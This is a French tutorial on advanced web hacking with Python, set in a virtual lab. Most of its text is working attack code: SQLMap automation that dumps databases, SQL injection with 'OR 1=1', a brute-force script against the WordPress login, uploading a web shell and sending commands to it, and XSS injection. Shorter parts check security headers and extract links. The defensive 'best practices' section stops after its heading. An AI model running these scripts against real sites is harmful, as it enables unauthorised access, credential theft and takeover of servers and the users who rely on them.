🐍 Hacking Web AvancĂ© avec Python - Tutoriel Complet

Python est un outil puissant pour le hacking web grùce à ses bibliothÚques flexibles et performantes. Ce tutoriel couvre les techniques de hacking web les plus avancées, de l'injection SQL au Brute Force, en passant par l'analyse des vulnérabilités XSS et les Web Shells, avec des exemples détaillés.

Fonctionnalités du Tutoriel :

Pré-requis

1. Préparation de l'Environnement de Test

Pour une simulation réaliste, utilisez VirtualBox pour créer un environnement virtuel :

  1. Créez trois machines virtuelles : Serveur (application web vulnérable), Client (simulateur d'utilisateur), et Attaquant (pour exécuter les scripts).
  2. Configurez un serveur LAMP (Linux, Apache, MySQL, PHP) sur le serveur, et installez une application vulnérable (comme une ancienne version de WordPress ou DVWA).

2. Injection SQL avec Python et SQLMap

Les injections SQL sont des attaques qui exploitent les entrĂ©es non sĂ©curisĂ©es pour exĂ©cuter des requĂȘtes SQL malveillantes. Utilisez SQLMap ou des scripts Python personnalisĂ©s pour automatiser ces attaques.

2.1 Utilisation de SQLMap via Python

SQLMap est un outil puissant pour l'automatisation des injections SQL. Voici comment l'intégrer dans un script Python :


import subprocess

# DĂ©finissez l'URL cible
url = "http://server/wordpress/wp-content/plugins/vuln-plugin/config.php?vid=1&pid=1"
command = f"python sqlmap.py -u {url} --level 3 --risk 3 --dbms=mysql --dump"

# Lancez SQLMap via subprocess
subprocess.run(command, shell=True)
        

Explications : Ce script utilise SQLMap pour cibler l'URL spécifiée, explorant les bases de données et extrayant les informations disponibles.

2.2 Injection SQL personnalisée

Utilisez requests pour injecter manuellement des paramĂštres SQL malveillants :


import requests

url = "http://server/wordpress/wp-content/plugins/vuln-plugin/config.php"
payload = {"vid": "1 OR 1=1", "pid": "1"}
response = requests.get(url, params=payload)

if "Database Error" in response.text:
    print("Vulnérabilité SQL Injection détectée !")
else:
    print("Aucune vulnérabilité détectée.")
        

3. Attaque par Brute Force pour le Cracking de Mots de Passe

Le brute forcing teste différentes combinaisons de mots de passe pour accéder à un compte utilisateur.

3.1 Script Python pour le Brute Force


import requests

url = "http://server/wordpress/wp-login.php"
username = "admin"
wordlist = open("wordlist.txt", "r")

for password in wordlist:
    password = password.strip()
    data = {"log": username, "pwd": password}
    response = requests.post(url, data=data)

    if "dashboard" in response.text:
        print(f"Mot de passe trouvé : {password}")
        break
    else:
        print(f"Tentative échouée avec le mot de passe : {password}")
        

Remarque : Utilisez une liste de mots de passe populaire pour maximiser les chances de succĂšs.

4. Attaque de Web Shell et Upload de Fichier Malveillant

Une attaque de Web Shell consiste à télécharger un fichier malveillant sur un serveur pour en prendre le contrÎle.

4.1 Upload de Web Shell avec Python


import requests

url = "http://server/wordpress/wp-content/uploads/upload.php"
files = {'file': open('shell.php', 'rb')}
response = requests.post(url, files=files)

if response.status_code == 200:
    print("Web shell téléchargé avec succÚs !")
else:
    print("Échec du tĂ©lĂ©chargement.")
        

4.2 Interaction avec le Web Shell

AprÚs avoir téléchargé le shell, interagissez avec lui pour exécuter des commandes :


url = "http://server/wordpress/wp-content/uploads/shell.php"
command = "ls"
response = requests.get(url, params={"cmd": command})

print("Sortie de la commande :")
print(response.text)
        

5. Attaque XSS (Cross-Site Scripting)

Une attaque XSS injecte du code JavaScript malveillant dans une page web pour manipuler les informations affichées ou interagir avec l'utilisateur.

5.1 Injection de Script XSS

Automatisez l'injection d'un script XSS avec Python :


import requests

url = "http://server/wordpress/comment.php"
payload = "<script>alert('XSS');</script>"
data = {"comment": payload, "submit": "Soumettre"}
response = requests.post(url, data=data)

if payload in response.text:
    print("Vulnérabilité XSS détectée !")
else:
    print("Aucune vulnérabilité XSS détectée.")
        

6. Analyse des En-tĂȘtes de SĂ©curitĂ© HTTP

Les en-tĂȘtes de sĂ©curitĂ© HTTP protĂšgent les applications web contre diverses attaques.

6.1 Script pour l'Analyse des En-tĂȘtes de SĂ©curitĂ©


import requests

url = "http://server/wordpress"
response = requests.get(url)

security_headers = ["Content-Security-Policy", "X-Frame-Options", "X-Content-Type-Options"]
for header in security_headers:
    if header in response.headers:
        print(f"{header} est activé : {response.headers[header]}")
    else:
        print(f"[ALERTE] {header} est manquant.")
        

7. Utilisation de BeautifulSoup pour Extraire des Liens

BeautifulSoup facilite l'extraction de liens et l'analyse de contenu HTML pour identifier les points d'entrée vulnérables.

Script pour l'extraction des liens


from bs4 import BeautifulSoup
import requests

url = "http://server/wordpress"
response = requests.get(url)
soup = BeautifulSoup(response.text, "html.parser")

for link in soup.find_all("a", href=True):
    print(link["href"])
        

8. Bonnes Pratiques pour la Sécurité

Pour protéger une application web contre ces attaques, suivez les recommandations suivantes :